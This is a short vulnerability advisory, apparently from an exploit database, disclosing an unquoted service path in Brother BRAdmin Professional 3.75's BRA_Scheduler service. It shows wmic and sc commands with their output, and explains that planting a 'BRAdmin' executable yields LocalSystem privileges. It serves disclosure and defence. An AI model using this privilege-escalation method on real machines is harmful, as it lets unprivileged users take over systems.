36 lines
No EOL
1.6 KiB
Text
36 lines
No EOL
1.6 KiB
Text
# Exploit Title: BRAdmin Professional 3.75 - 'BRA_Scheduler' Unquoted Service Path
|
|
# Date: 2021-03-17
|
|
# Exploit Author: Metin Yunus Kandemir
|
|
# Vendor Homepage: https://global.brother/
|
|
# Software Link: https://support.brother.com/g/b/downloadend.aspx?c=us&lang=en&prod=hls7000dn_us_eu_as&os=10013&dlid=dlf005042_000&flang=4&type3=26
|
|
# Version: 3.75.0000
|
|
# Tested on: Windows 10
|
|
# Source: https://docs.unsafe-inline.com/0day/bradmin-professional-3.75-unquoted-service-path
|
|
|
|
#Description:
|
|
|
|
This software allows system administrators to view and control the status of their networked Brother and most other SNMP compliant printing devices.
|
|
If a user can insert a executable which is called as "BRAdmin" under the "C:\Program Files (x86)\Brother\" , local system privileges could be obtained by the user.
|
|
|
|
#Detection of unquoted service path:
|
|
|
|
C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BRAdmin" |findstr /i /v """
|
|
Brother BRAdminPro Scheduler
|
|
BRA_Scheduler
|
|
C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
|
|
Auto
|
|
|
|
|
|
C:\>sc qc BRA_Scheduler
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: BRA_Scheduler
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
|
|
LOAD_ORDER_GROUP :
|
|
TAG : 0
|
|
DISPLAY_NAME : Brother BRAdminPro Scheduler
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem |